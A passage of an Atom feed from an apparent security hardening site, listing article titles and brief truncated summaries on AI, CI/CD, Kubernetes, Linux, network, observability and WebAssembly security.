    <title>AI Code Assistant Security: Prompt Leakage, Code Exfiltration, and IDE Plugin Risks</title>
    <link href="https://www.systemshardening.com/articles/ai-landscape/ai-code-assistant-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/ai-landscape/ai-code-assistant-security/</id>
    <published>2026-05-01T00:00:00.000Z</published>
    <updated>2026-05-01T00:00:00.000Z</updated>
    <category term="ai-landscape"/>
    <summary>AI Code Assistant Security: Prompt Leakage, Code Exfiltration, and IDE Plugin Risks
Problem
AI code assistants — GitHub Copilot, Cursor, Cline, JetBrains AI Assistant, Amazon CodeWhisperer, and...</summary>
  </entry>
  
  <entry>
    <title>Differential Privacy for ML Training: ε-DP Guarantees and Implementation</title>
    <link href="https://www.systemshardening.com/articles/ai-landscape/differential-privacy-ml/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/ai-landscape/differential-privacy-ml/</id>
    <published>2026-05-01T00:00:00.000Z</published>
    <updated>2026-05-01T00:00:00.000Z</updated>
    <category term="ai-landscape"/>
    <summary>Differential Privacy for ML Training: ε-DP Guarantees and Implementation
Problem
Machine learning models memorise their training data. This is not a software bug — it is an inherent property of...</summary>
  </entry>
  
  <entry>
    <title>LLM Multi-Turn Security: Context Accumulation Attacks, Session Isolation, and Memory Poisoning</title>
    <link href="https://www.systemshardening.com/articles/ai-landscape/llm-multi-turn-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/ai-landscape/llm-multi-turn-security/</id>
    <published>2026-05-01T00:00:00.000Z</published>
    <updated>2026-05-01T00:00:00.000Z</updated>
    <category term="ai-landscape"/>
    <summary>LLM Multi-Turn Security: Context Accumulation Attacks, Session Isolation, and Memory Poisoning
Problem
Single-turn prompt injection is well-studied: an attacker injects a malicious instruction into a...</summary>
  </entry>
  
  <entry>
    <title>LLM Structured Output Security: JSON Schema Injection, Type Confusion, and Schema Enforcement</title>
    <link href="https://www.systemshardening.com/articles/ai-landscape/llm-structured-output-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/ai-landscape/llm-structured-output-security/</id>
    <published>2026-05-01T00:00:00.000Z</published>
    <updated>2026-05-01T00:00:00.000Z</updated>
    <category term="ai-landscape"/>
    <summary>LLM Structured Output Security: JSON Schema Injection, Type Confusion, and Schema Enforcement
Problem
Modern LLM APIs support structured output modes — JSON mode, function calling, tool use — that...</summary>
  </entry>
  
  <entry>
    <title>LLM System Prompt Protection: Confidentiality, Injection Resistance, and Extraction Prevention</title>
    <link href="https://www.systemshardening.com/articles/ai-landscape/llm-system-prompt-protection/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/ai-landscape/llm-system-prompt-protection/</id>
    <published>2026-05-01T00:00:00.000Z</published>
    <updated>2026-05-01T00:00:00.000Z</updated>
    <category term="ai-landscape"/>
    <summary>LLM System Prompt Protection: Confidentiality, Injection Resistance, and Extraction Prevention
Problem
The system prompt is the privileged configuration layer of an LLM deployment. It defines the...</summary>
  </entry>
  
  <entry>
    <title>vLLM Production Security Hardening</title>
    <link href="https://www.systemshardening.com/articles/ai-landscape/vllm-production-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/ai-landscape/vllm-production-security/</id>
    <published>2026-05-01T00:00:00.000Z</published>
    <updated>2026-05-01T00:00:00.000Z</updated>
    <category term="ai-landscape"/>
    <summary>vLLM Production Security Hardening
Problem
vLLM has become the dominant open-source framework for serving large language models at scale. Its OpenAI-compatible API surface, continuous batching, and...</summary>
  </entry>
  
  <entry>
    <title>Argo CD Security Hardening: RBAC, SSO, and Repository Access Controls</title>
    <link href="https://www.systemshardening.com/articles/cicd/argocd-security-hardening/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cicd/argocd-security-hardening/</id>
    <published>2026-05-01T00:00:00.000Z</published>
    <updated>2026-05-01T00:00:00.000Z</updated>
    <category term="cicd"/>
    <summary>Argo CD Security Hardening: RBAC, SSO, and Repository Access Controls
Problem
Argo CD is a GitOps controller that continuously reconciles Kubernetes cluster state with a Git repository. Its privileged...</summary>
  </entry>
  
  <entry>
    <title>BuildKit Rootless Build Security</title>
    <link href="https://www.systemshardening.com/articles/cicd/buildkit-rootless-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cicd/buildkit-rootless-security/</id>
    <published>2026-05-01T00:00:00.000Z</published>
    <updated>2026-05-01T00:00:00.000Z</updated>
    <category term="cicd"/>
    <summary>BuildKit Rootless Build Security
Problem
The traditional Docker build model has a fundamental privilege problem. The Docker daemon runs as root, and the Unix socket at /var/run/docker.sock is the...</summary>
  </entry>
  
  <entry>
    <title>Flux CD Security: GitRepository Authentication, Kustomization Trust, and RBAC</title>
    <link href="https://www.systemshardening.com/articles/cicd/flux-cd-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cicd/flux-cd-security/</id>
    <published>2026-05-01T00:00:00.000Z</published>
    <updated>2026-05-01T00:00:00.000Z</updated>
    <category term="cicd"/>
    <summary>Flux CD Security: GitRepository Authentication, Kustomization Trust, and RBAC
Problem
Flux CD is a GitOps operator: it watches Git repositories and continuously applies their contents to Kubernetes...</summary>
  </entry>
  
  <entry>
    <title>GitLab CI Security: Protected Variables, Runner Isolation, and Pipeline Hardening</title>
    <link href="https://www.systemshardening.com/articles/cicd/gitlab-ci-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cicd/gitlab-ci-security/</id>
    <published>2026-05-01T00:00:00.000Z</published>
    <updated>2026-05-01T00:00:00.000Z</updated>
    <category term="cicd"/>
    <summary>GitLab CI Security: Protected Variables, Runner Isolation, and Pipeline Hardening
Problem
GitLab CI is one of the most widely deployed CI/CD platforms in self-managed environments. Pipeline jobs have...</summary>
  </entry>
  
  <entry>
    <title>Jenkins Security Hardening: Authentication, Plugin Management, and Agent Isolation</title>
    <link href="https://www.systemshardening.com/articles/cicd/jenkins-security-hardening/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cicd/jenkins-security-hardening/</id>
    <published>2026-05-01T00:00:00.000Z</published>
    <updated>2026-05-01T00:00:00.000Z</updated>
    <category term="cicd"/>
    <summary>Jenkins Security Hardening: Authentication, Plugin Management, and Agent Isolation
Problem
Jenkins remains one of the most widely deployed CI/CD platforms, and it is consistently listed among the most...</summary>
  </entry>
  
  <entry>
    <title>Tekton Pipeline Security: TaskRun Isolation, Workspace Permissions, and RBAC</title>
    <link href="https://www.systemshardening.com/articles/cicd/tekton-pipeline-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cicd/tekton-pipeline-security/</id>
    <published>2026-05-01T00:00:00.000Z</published>
    <updated>2026-05-01T00:00:00.000Z</updated>
    <category term="cicd"/>
    <summary>Tekton Pipeline Security: TaskRun Isolation, Workspace Permissions, and RBAC
Problem
Tekton is a Kubernetes-native CI/CD framework: pipelines are defined as Kubernetes CRDs (Pipeline, Task,...</summary>
  </entry>
  
  <entry>
    <title>Bug Bounty Program Setup: Scope, Triage, and Researcher Relations</title>
    <link href="https://www.systemshardening.com/articles/cross-cutting/bug-bounty-program/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cross-cutting/bug-bounty-program/</id>
    <published>2026-05-01T00:00:00.000Z</published>
    <updated>2026-05-01T00:00:00.000Z</updated>
    <category term="cross-cutting"/>
    <summary>Bug Bounty Program Setup: Scope, Triage, and Researcher Relations
Problem
Bug bounty programs have become a standard component of mature security programmes. The concept is simple: pay external...</summary>
  </entry>
  
  <entry>
    <title>Fine-Grained Authorization with Cedar Policy Language</title>
    <link href="https://www.systemshardening.com/articles/cross-cutting/cedar-policy-authorization/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cross-cutting/cedar-policy-authorization/</id>
    <published>2026-05-01T00:00:00.000Z</published>
    <updated>2026-05-01T00:00:00.000Z</updated>
    <category term="cross-cutting"/>
    <summary>Fine-Grained Authorization with Cedar Policy Language
Problem
Role-based access control is the right starting point for most systems, but it breaks down the moment product requirements get specific. A...</summary>
  </entry>
  
  <entry>
    <title>Data Loss Prevention for Cloud Environments: Classification, Egress Controls, and Monitoring</title>
    <link href="https://www.systemshardening.com/articles/cross-cutting/data-loss-prevention/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cross-cutting/data-loss-prevention/</id>
    <published>2026-05-01T00:00:00.000Z</published>
    <updated>2026-05-01T00:00:00.000Z</updated>
    <category term="cross-cutting"/>
    <summary>Data Loss Prevention for Cloud Environments: Classification, Egress Controls, and Monitoring
Problem
Data loss in cloud environments follows a small number of common patterns that are well-understood...</summary>
  </entry>
  
  <entry>
    <title>DevSecOps Maturity Model: Measuring and Advancing Security Programme Capability</title>
    <link href="https://www.systemshardening.com/articles/cross-cutting/devsecops-maturity-model/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cross-cutting/devsecops-maturity-model/</id>
    <published>2026-05-01T00:00:00.000Z</published>
    <updated>2026-05-01T00:00:00.000Z</updated>
    <category term="cross-cutting"/>
    <summary>DevSecOps Maturity Model: Measuring and Advancing Security Programme Capability
Problem
Security programmes grow by accumulating tools. A SIEM is added. A vulnerability scanner is deployed. DAST runs...</summary>
  </entry>
  
  <entry>
    <title>Penetration Testing Methodology: Scoping, Execution, and Findings Management</title>
    <link href="https://www.systemshardening.com/articles/cross-cutting/penetration-testing-methodology/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cross-cutting/penetration-testing-methodology/</id>
    <published>2026-05-01T00:00:00.000Z</published>
    <updated>2026-05-01T00:00:00.000Z</updated>
    <category term="cross-cutting"/>
    <summary>Penetration Testing Methodology: Scoping, Execution, and Findings Management
Problem
Most organisations that commission penetration tests get less value than they should. The test finds real...</summary>
  </entry>
  
  <entry>
    <title>Vulnerability Management Program: Scanning, SLAs, and Risk-Based Prioritisation</title>
    <link href="https://www.systemshardening.com/articles/cross-cutting/vulnerability-management-program/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cross-cutting/vulnerability-management-program/</id>
    <published>2026-05-01T00:00:00.000Z</published>
    <updated>2026-05-01T00:00:00.000Z</updated>
    <category term="cross-cutting"/>
    <summary>Vulnerability Management Program: Scanning, SLAs, and Risk-Based Prioritisation
Problem
Most organisations scan for vulnerabilities. Far fewer have a functioning vulnerability management program — a...</summary>
  </entry>
  
  <entry>
    <title>CoreDNS Security Hardening: Rebinding Protection, Plugin Configuration, and DNSSEC Forwarding</title>
    <link href="https://www.systemshardening.com/articles/kubernetes/coredns-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/kubernetes/coredns-security/</id>
    <published>2026-05-01T00:00:00.000Z</published>
    <updated>2026-05-01T00:00:00.000Z</updated>
    <category term="kubernetes"/>
    <summary>CoreDNS Security Hardening: Rebinding Protection, Plugin Configuration, and DNSSEC Forwarding
Problem
CoreDNS is the default DNS server in Kubernetes clusters, handling service discovery, pod name...</summary>
  </entry>
  
  <entry>
    <title>Karpenter Node Provisioning Security</title>
    <link href="https://www.systemshardening.com/articles/kubernetes/karpenter-node-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/kubernetes/karpenter-node-security/</id>
    <published>2026-05-01T00:00:00.000Z</published>
    <updated>2026-05-01T00:00:00.000Z</updated>
    <category term="kubernetes"/>
    <summary>Karpenter Node Provisioning Security
Problem
Karpenter fundamentally changes how Kubernetes nodes join a cluster. Where the Cluster Autoscaler operates against Auto Scaling Groups that a human...</summary>
  </entry>
  
  <entry>
    <title>kube-bench: CIS Kubernetes Benchmark Automation and Remediation</title>
    <link href="https://www.systemshardening.com/articles/kubernetes/kube-bench-cis-benchmark/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/kubernetes/kube-bench-cis-benchmark/</id>
    <published>2026-05-01T00:00:00.000Z</published>
    <updated>2026-05-01T00:00:00.000Z</updated>
    <category term="kubernetes"/>
    <summary>kube-bench: CIS Kubernetes Benchmark Automation and Remediation
Problem
Kubernetes ships with many components that are insecure by default: anonymous authentication enabled on the API server, insecure...</summary>
  </entry>
  
  <entry>
    <title>Kubernetes CronJob Security: Least Privilege, Concurrency Controls, and Credential Isolation</title>
    <link href="https://www.systemshardening.com/articles/kubernetes/kubernetes-cronjob-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/kubernetes/kubernetes-cronjob-security/</id>
    <published>2026-05-01T00:00:00.000Z</published>
    <updated>2026-05-01T00:00:00.000Z</updated>
    <category term="kubernetes"/>
    <summary>Kubernetes CronJob Security: Least Privilege, Concurrency Controls, and Credential Isolation
Problem
Kubernetes CronJobs are frequently treated as second-class workloads from a security perspective....</summary>
  </entry>
  
  <entry>
    <title>Kubernetes Operator Security: RBAC Scoping, Webhook Hardening, and Privilege Minimisation</title>
    <link href="https://www.systemshardening.com/articles/kubernetes/kubernetes-operator-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/kubernetes/kubernetes-operator-security/</id>
    <published>2026-05-01T00:00:00.000Z</published>
    <updated>2026-05-01T00:00:00.000Z</updated>
    <category term="kubernetes"/>
    <summary>Kubernetes Operator Security: RBAC Scoping, Webhook Hardening, and Privilege Minimisation
Problem
Kubernetes operators automate the management of stateful applications by watching custom resources and...</summary>
  </entry>
  
  <entry>
    <title>Kubernetes Resource Quotas and LimitRanges: Preventing Noisy Neighbour and Denial of Service</title>
    <link href="https://www.systemshardening.com/articles/kubernetes/resource-quotas-limitranges/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/kubernetes/resource-quotas-limitranges/</id>
    <published>2026-05-01T00:00:00.000Z</published>
    <updated>2026-05-01T00:00:00.000Z</updated>
    <category term="kubernetes"/>
    <summary>Kubernetes Resource Quotas and LimitRanges: Preventing Noisy Neighbour and Denial of Service
Problem
Kubernetes schedules workloads onto nodes based on requested resources. Without enforcement of...</summary>
  </entry>
  
  <entry>
    <title>Linux Binary Hardening: ASLR, PIE, RELRO, and FORTIFY_SOURCE</title>
    <link href="https://www.systemshardening.com/articles/linux/linux-memory-protections/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/linux/linux-memory-protections/</id>
    <published>2026-05-01T00:00:00.000Z</published>
    <updated>2026-05-01T00:00:00.000Z</updated>
    <category term="linux"/>
    <summary>Linux Binary Hardening: ASLR, PIE, RELRO, and FORTIFY_SOURCE
Problem
Memory corruption vulnerabilities — buffer overflows, use-after-free, format string bugs — have been known for decades, but they...</summary>
  </entry>
  
  <entry>
    <title>Linux Package Manager Security: APT/DNF Signature Verification, Mirror Pinning, and Supply Chain Hardening</title>
    <link href="https://www.systemshardening.com/articles/linux/package-manager-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/linux/package-manager-security/</id>
    <published>2026-05-01T00:00:00.000Z</published>
    <updated>2026-05-01T00:00:00.000Z</updated>
    <category term="linux"/>
    <summary>Linux Package Manager Security: APT/DNF Signature Verification, Mirror Pinning, and Supply Chain Hardening
Problem
Linux package managers install software as root. They download packages from remote...</summary>
  </entry>
  
  <entry>
    <title>Linux Rootkit Detection: rkhunter, Kernel Module Auditing, and Integrity Verification</title>
    <link href="https://www.systemshardening.com/articles/linux/rootkit-detection/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/linux/rootkit-detection/</id>
    <published>2026-05-01T00:00:00.000Z</published>
    <updated>2026-05-01T00:00:00.000Z</updated>
    <category term="linux"/>
    <summary>Linux Rootkit Detection: rkhunter, Kernel Module Auditing, and Integrity Verification
Problem
A rootkit is software that gives an attacker persistent, hidden access to a compromised system. Linux...</summary>
  </entry>
  
  <entry>
    <title>SSH Certificate Authority: Short-Lived User Certificates and Host Verification</title>
    <link href="https://www.systemshardening.com/articles/linux/ssh-certificate-authority/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/linux/ssh-certificate-authority/</id>
    <published>2026-05-01T00:00:00.000Z</published>
    <updated>2026-05-01T00:00:00.000Z</updated>
    <category term="linux"/>
    <summary>SSH Certificate Authority: Short-Lived User Certificates and Host Verification
Problem
Traditional SSH key management does not scale securely. The authorized_keys model distributes trust across every...</summary>
  </entry>
  
  <entry>
    <title>Sudo Hardening: Least Privilege, sudoers Configuration, and Privilege Escalation Prevention</title>
    <link href="https://www.systemshardening.com/articles/linux/sudo-hardening/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/linux/sudo-hardening/</id>
    <published>2026-05-01T00:00:00.000Z</published>
    <updated>2026-05-01T00:00:00.000Z</updated>
    <category term="linux"/>
    <summary>Sudo Hardening: Least Privilege, sudoers Configuration, and Privilege Escalation Prevention
Problem
sudo is intended to grant specific commands to specific users with accountability. In practice, most...</summary>
  </entry>
  
  <entry>
    <title>Unified Kernel Image and Measured Boot Hardening</title>
    <link href="https://www.systemshardening.com/articles/linux/uki-secure-boot-hardening/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/linux/uki-secure-boot-hardening/</id>
    <published>2026-05-01T00:00:00.000Z</published>
    <updated>2026-05-01T00:00:00.000Z</updated>
    <category term="linux"/>
    <summary>Unified Kernel Image and Measured Boot Hardening
Problem
Legacy Linux boot stacks combine at least three independently managed artifacts: the kernel binary, the initramfs, and the kernel command line....</summary>
  </entry>
  
  <entry>
    <title>Private Encrypted DNS Infrastructure with DoH and DoT</title>
    <link href="https://www.systemshardening.com/articles/network/encrypted-dns-infrastructure/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/network/encrypted-dns-infrastructure/</id>
    <published>2026-05-01T00:00:00.000Z</published>
    <updated>2026-05-01T00:00:00.000Z</updated>
    <category term="network"/>
    <summary>Private Encrypted DNS Infrastructure with DoH and DoT
Problem
Every hostname your servers, pods, and developer laptops resolve travels over UDP port 53 in plain text. A passive observer anywhere on...</summary>
  </entry>
  
  <entry>
    <title>IPsec VPN Hardening: IKEv2, StrongSwan, and Certificate-Based Authentication</title>
    <link href="https://www.systemshardening.com/articles/network/ipsec-vpn-hardening/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/network/ipsec-vpn-hardening/</id>
    <published>2026-05-01T00:00:00.000Z</published>
    <updated>2026-05-01T00:00:00.000Z</updated>
    <category term="network"/>
    <summary>IPsec VPN Hardening: IKEv2, StrongSwan, and Certificate-Based Authentication
Problem
IPsec is the standard for encrypted, authenticated network tunnels. It operates at Layer 3, providing transparent...</summary>
  </entry>
  
  <entry>
    <title>Network Segmentation Patterns: Micro-segmentation, East-West Controls, and Zero-Trust Zones</title>
    <link href="https://www.systemshardening.com/articles/network/network-segmentation-patterns/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/network/network-segmentation-patterns/</id>
    <published>2026-05-01T00:00:00.000Z</published>
    <updated>2026-05-01T00:00:00.000Z</updated>
    <category term="network"/>
    <summary>Network Segmentation Patterns: Micro-segmentation, East-West Controls, and Zero-Trust Zones
Problem
The traditional network security model placed a firewall at the perimeter: traffic coming in from...</summary>
  </entry>
  
  <entry>
    <title>SNMP v3 Hardening: Authentication, Encryption, and View-Based Access Control</title>
    <link href="https://www.systemshardening.com/articles/network/snmp-v3-hardening/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/network/snmp-v3-hardening/</id>
    <published>2026-05-01T00:00:00.000Z</published>
    <updated>2026-05-01T00:00:00.000Z</updated>
    <category term="network"/>
    <summary>SNMP v3 Hardening: Authentication, Encryption, and View-Based Access Control
Problem
SNMP (Simple Network Management Protocol) is how network devices — switches, routers, firewalls, load balancers,...</summary>
  </entry>
  
  <entry>
    <title>Suricata IDS/IPS: Host and Container Network Intrusion Detection</title>
    <link href="https://www.systemshardening.com/articles/network/suricata-ids-ips/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/network/suricata-ids-ips/</id>
    <published>2026-05-01T00:00:00.000Z</published>
    <updated>2026-05-01T00:00:00.000Z</updated>
    <category term="network"/>
    <summary>Suricata IDS/IPS: Host and Container Network Intrusion Detection
Problem
Firewall rules control whether traffic is permitted; they do not inspect the content of permitted traffic. An HTTP request to...</summary>
  </entry>
  
  <entry>
    <title>TLS Certificate Transparency Monitoring: CT Logs, CAA Records, and Misissuance Detection</title>
    <link href="https://www.systemshardening.com/articles/network/tls-certificate-transparency/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/network/tls-certificate-transparency/</id>
    <published>2026-05-01T00:00:00.000Z</published>
    <updated>2026-05-01T00:00:00.000Z</updated>
    <category term="network"/>
    <summary>TLS Certificate Transparency Monitoring: CT Logs, CAA Records, and Misissuance Detection
Problem
A valid TLS certificate for your domain can be issued by any of the ~150 publicly trusted Certificate...</summary>
  </entry>
  
  <entry>
    <title>Prometheus Alertmanager Security: Receiver Credentials, Silencing Controls, and Inhibition Rules</title>
    <link href="https://www.systemshardening.com/articles/observability/alertmanager-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/observability/alertmanager-security/</id>
    <published>2026-05-01T00:00:00.000Z</published>
    <updated>2026-05-01T00:00:00.000Z</updated>
    <category term="observability"/>
    <summary>Prometheus Alertmanager Security: Receiver Credentials, Silencing Controls, and Inhibition Rules
Problem
Alertmanager is the routing and notification layer for Prometheus alerts. It receives firing...</summary>
  </entry>
  
  <entry>
    <title>Continuous Profiling Security with Parca and Pyroscope</title>
    <link href="https://www.systemshardening.com/articles/observability/continuous-profiling-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/observability/continuous-profiling-security/</id>
    <published>2026-05-01T00:00:00.000Z</published>
    <updated>2026-05-01T00:00:00.000Z</updated>
    <category term="observability"/>
    <summary>Continuous Profiling Security with Parca and Pyroscope
Problem
Continuous profiling has graduated from a niche SRE tool to a standard Kubernetes observability component. Tools such as Parca and...</summary>
  </entry>
  
  <entry>
    <title>Distributed Tracing Security: Jaeger, Tempo, and Sensitive Span Data Scrubbing</title>
    <link href="https://www.systemshardening.com/articles/observability/distributed-tracing-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/observability/distributed-tracing-security/</id>
    <published>2026-05-01T00:00:00.000Z</published>
    <updated>2026-05-01T00:00:00.000Z</updated>
    <category term="observability"/>
    <summary>Distributed Tracing Security: Jaeger, Tempo, and Sensitive Span Data Scrubbing
Problem
Distributed tracing captures the full execution graph of requests flowing through a system. A trace for a user...</summary>
  </entry>
  
  <entry>
    <title>Elasticsearch Security Hardening: TLS, Role-Based Access, and Audit Logging</title>
    <link href="https://www.systemshardening.com/articles/observability/elasticsearch-security-hardening/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/observability/elasticsearch-security-hardening/</id>
    <published>2026-05-01T00:00:00.000Z</published>
    <updated>2026-05-01T00:00:00.000Z</updated>
    <category term="observability"/>
    <summary>Elasticsearch Security Hardening: TLS, Role-Based Access, and Audit Logging
Problem
Elasticsearch clusters have been found exposed on the internet without authentication more times than any other...</summary>
  </entry>
  
  <entry>
    <title>Grafana Security Hardening: Authentication, RBAC, and Data Source Permissions</title>
    <link href="https://www.systemshardening.com/articles/observability/grafana-security-hardening/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/observability/grafana-security-hardening/</id>
    <published>2026-05-01T00:00:00.000Z</published>
    <updated>2026-05-01T00:00:00.000Z</updated>
    <category term="observability"/>
    <summary>Grafana Security Hardening: Authentication, RBAC, and Data Source Permissions
Problem
Grafana provides visibility into infrastructure and application health. The same dashboards that help engineers...</summary>
  </entry>
  
  <entry>
    <title>Loki Security Hardening: Authentication, Tenant Isolation, and Log Tampering Prevention</title>
    <link href="https://www.systemshardening.com/articles/observability/loki-security-hardening/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/observability/loki-security-hardening/</id>
    <published>2026-05-01T00:00:00.000Z</published>
    <updated>2026-05-01T00:00:00.000Z</updated>
    <category term="observability"/>
    <summary>Loki Security Hardening: Authentication, Tenant Isolation, and Log Tampering Prevention
Problem
Loki is a horizontally scalable log aggregation system. Its pull-based label model and integration with...</summary>
  </entry>
  
  <entry>
    <title>Extism Plugin Security: Host/Guest Trust Boundaries and Capability Isolation</title>
    <link href="https://www.systemshardening.com/articles/wasm/extism-plugin-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/wasm/extism-plugin-security/</id>
    <published>2026-05-01T00:00:00.000Z</published>
    <updated>2026-05-01T00:00:00.000Z</updated>
    <category term="wasm"/>
    <summary>Extism Plugin Security: Host/Guest Trust Boundaries and Capability Isolation
Problem
Extism is a plugin framework built on WebAssembly. It allows applications to load and execute user-provided or...</summary>
  </entry>
  
  <entry>
    <title>Open Policy Agent with WASM: Policy Compilation, Sandboxed Evaluation, and Performance</title>
    <link href="https://www.systemshardening.com/articles/wasm/opa-wasm-policy/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/wasm/opa-wasm-policy/</id>
    <published>2026-05-01T00:00:00.000Z</published>
    <updated>2026-05-01T00:00:00.000Z</updated>
    <category term="wasm"/>
    <summary>Open Policy Agent with WASM: Policy Compilation, Sandboxed Evaluation, and Performance
Problem
Open Policy Agent (OPA) is the standard policy engine for cloud-native infrastructure. In the typical...</summary>
  </entry>
  
  <entry>
    <title>WebAssembly Dynamic Linking Security: Module Composition, Trust Chains, and Plugin Graphs</title>
    <link href="https://www.systemshardening.com/articles/wasm/wasm-dynamic-linking-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/wasm/wasm-dynamic-linking-security/</id>
    <published>2026-05-01T00:00:00.000Z</published>
    <updated>2026-05-01T00:00:00.000Z</updated>
    <category term="wasm"/>
    <summary>WebAssembly Dynamic Linking Security: Module Composition, Trust Chains, and Plugin Graphs
Problem
Static WASM modules — a single .wasm binary that runs in isolation — have a well-understood security...</summary>
  </entry>
  
  <entry>
    <title>WASM Linear Memory Safety: Bounds Checking, Buffer Overflows, and Stack Protection</title>
    <link href="https://www.systemshardening.com/articles/wasm/wasm-linear-memory-safety/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/wasm/wasm-linear-memory-safety/</id>
    <published>2026-05-01T00:00:00.000Z</published>
    <updated>2026-05-01T00:00:00.000Z</updated>
    <category term="wasm"/>
    <summary>WASM Linear Memory Safety: Bounds Checking, Buffer Overflows, and Stack Protection
Problem
WebAssembly’s memory model is frequently described as “memory safe” — and in an important sense it is: a WASM...</summary>
  </entry>
  
  <entry>
    <title>WASM Toolchain Security: Compiler Flags, Binaryen Optimisations, and Build Supply Chain</title>
    <link href="https://www.systemshardening.com/articles/wasm/wasm-toolchain-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/wasm/wasm-toolchain-security/</id>
    <published>2026-05-01T00:00:00.000Z</published>
    <updated>2026-05-01T00:00:00.000Z</updated>
    <category term="wasm"/>
    <summary>WASM Toolchain Security: Compiler Flags, Binaryen Optimisations, and Build Supply Chain
Problem
A WASM binary’s security properties are determined by the toolchain that produced it. The same C source...</summary>
  </entry>
  
  <entry>
    <title>WasmGC Security Implications for Multi-Tenant Runtimes</title>
    <link href="https://www.systemshardening.com/articles/wasm/wasmgc-security-implications/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/wasm/wasmgc-security-implications/</id>
    <published>2026-05-01T00:00:00.000Z</published>
    <updated>2026-05-01T00:00:00.000Z</updated>
    <category term="wasm"/>
    <summary>WasmGC Security Implications for Multi-Tenant Runtimes
Problem
Classic WebAssembly memory safety is built on a single, simple invariant: every module gets a contiguous, sandboxed linear memory. Heap...</summary>
  </entry>
  
  <entry>
    <title>AI Agent Kill Switches and Human Override Mechanisms</title>
    <link href="https://www.systemshardening.com/articles/ai-landscape/ai-agent-kill-switches/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/ai-landscape/ai-agent-kill-switches/</id>
    <published>2026-04-30T00:00:00.000Z</published>
    <updated>2026-04-30T00:00:00.000Z</updated>
    <category term="ai-landscape"/>
    <summary>AI Agent Kill Switches and Human Override Mechanisms
Problem
AI agents operate over extended horizons, take sequences of actions, and make decisions with real-world consequences: sending emails,...</summary>
  </entry>
  
  <entry>
    <title>AI Model Weight Security: Protecting Proprietary Parameters from Theft and Exfiltration</title>
    <link href="https://www.systemshardening.com/articles/ai-landscape/ai-model-weight-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/ai-landscape/ai-model-weight-security/</id>
    <published>2026-04-30T00:00:00.000Z</published>
    <updated>2026-04-30T00:00:00.000Z</updated>
    <category term="ai-landscape"/>
    <summary>AI Model Weight Security: Protecting Proprietary Parameters from Theft and Exfiltration
Problem
A large language model trained on proprietary data represents a significant investment: months of GPU...</summary>
  </entry>
  
  <entry>
    <title>Federated Learning Security: Gradient Poisoning, Byzantine Clients, and Secure Aggregation</title>
    <link href="https://www.systemshardening.com/articles/ai-landscape/federated-learning-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/ai-landscape/federated-learning-security/</id>
    <published>2026-04-30T00:00:00.000Z</published>
    <updated>2026-04-30T00:00:00.000Z</updated>
    <category term="ai-landscape"/>
    <summary>Federated Learning Security: Gradient Poisoning, Byzantine Clients, and Secure Aggregation
Problem
Federated learning (FL) trains a shared model across many clients (mobile devices, hospital systems,...</summary>
  </entry>
  
  <entry>
    <title>LLM Hallucination Detection for Security-Critical Decisions</title>
    <link href="https://www.systemshardening.com/articles/ai-landscape/llm-hallucination-detection/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/ai-landscape/llm-hallucination-detection/</id>
    <published>2026-04-30T00:00:00.000Z</published>
